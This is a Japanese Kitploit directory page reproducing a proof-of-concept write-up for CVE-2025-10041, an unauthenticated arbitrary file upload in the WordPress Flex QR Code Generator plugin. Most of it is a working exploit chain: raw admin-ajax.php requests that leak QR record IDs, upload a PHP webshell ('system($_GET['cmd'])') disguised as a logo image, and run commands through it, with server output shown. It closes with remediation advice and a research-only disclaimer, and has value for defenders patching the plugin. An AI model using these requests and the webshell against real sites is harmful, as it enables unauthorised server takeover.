Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
WordPress-Flex-QR-Code-Generator---CVE-2025-10041 — CVE-2025-10041の技術的分析と概念実証エクスプロイト。WordPressのFlex QR Code Generatorプラグインにおける、認証なしの任意ファイルアップロードがリモートコード実行につながる脆弱性です。 | Kitploit
ツール/GitHubGitHub/kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubkai-one001/wordpress-flex-qr-code-generator---cve-2025-10041

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

CVE-2025-10041の技術的分析と概念実証エクスプロイト。WordPressのFlex QR Code Generatorプラグインにおける、認証なしの任意ファイルアップロードがリモートコード実行につながる脆弱性です。

リポジトリを見る
10ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-10041:Flex QR Code Generator プラグイン任意ファイルアップロード脆弱性分析


一、脆弱性概要

  • プラグイン名:Flex QR Code Generator
  • 影響バージョン:≤ 1.2.5(全バージョン)
  • 脆弱性タイプ:任意ファイルアップロード → リモートコード実行(RCE)
  • 悪用条件:ログイン不要、未認証アクセス
  • 根本原因:ファイルアップロード機能が拡張子や MIME タイプを検証しておらず、インターフェースが未認証ユーザーから呼び出し可能。

二、脆弱性再現

  • No1 情報漏洩+更新フックによるRCE実現:

1. 攻撃チェーン概要

root@kitploit:~
未認証でIDを取得 → 更新インターフェースを呼び出しPHPファイルをアップロード → webshellにアクセス → RCE

2. ステップ1:情報漏洩によるID取得

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

レスポンスから有効な id(例:)と パスを取得可能。

9
logo_url
root@kitploit:~
{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

3. ステップ2:更新によるWebShellアップロード

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

✅ レスポンス success: true はアップロード成功を示す。

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

4. ステップ3:テストファイルへのアクセス

ファイルパス形式:{original_name}_{id}.php

root@kitploit:~
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

サーバーがファイル内容を返す

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • No2 未認証ファイルアップロード+RCE実現:

1. 攻撃チェーン概要

root@kitploit:~
未認証でインターフェースにアクセスし悪意のあるファイルをアップロード → webshellにアクセス → RCE

2. ステップ1:インターフェースへの悪意のあるファイルアップロード

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

レスポンスから有効な id(例:10)と success 結果を取得可能

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

3. ステップ3:WEBSHELLにアクセスしてコマンド実行

root@kitploit:~
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

✅ サーバーがコマンド実行結果を返し、RCE が成功。

root@kitploit:~
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

三、脆弱性の原理

1. 脆弱性関数

  • ファイル:flex-qr-code-generator/qr-code-generator.php
  • 関数:save_qr_code_to_db() および update_qr_code()

2. 主要な欠陥

  • $_FILES['logo']['error'] === UPLOAD_ERR_OK のみチェック
  • ファイル拡張子または MIME タイプを検証していない
  • ファイル名が制御可能:{original_name}_{id}.ext、id は自動採番の主キー

3. 未認証呼び出し

wp_ajax_nopriv_ フックを介して登録されており、インターフェースは未ログインユーザーからアクセス可能:

root@kitploit:~
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

nopriv は「権限不要」を意味し、攻撃者はログインせずに呼び出し可能。


四、修正推奨事項

対策説明
✅ 権限制御nopriv フックを削除し、管理者のみ呼び出し可能にする
✅ ファイルタイプ検証ホワイトリストで拡張子を制限(例:jpg/png/gif)
✅ PHP 実行禁止uploads/.htaccess で PHP 実行を禁止
✅ ファイル名のランダム化ランダムなファイル名を使用し、推測を防ぐ
✅ プラグインのアップグレード公式アップデートに注目し、速やかにアップグレード

免責事項

本記事はセキュリティ研究および教育目的のみに使用され、許可のない侵入テストや攻撃行為を禁止します。利用者は関連する法律・規制を遵守する必要があります。

ツールをダウンロード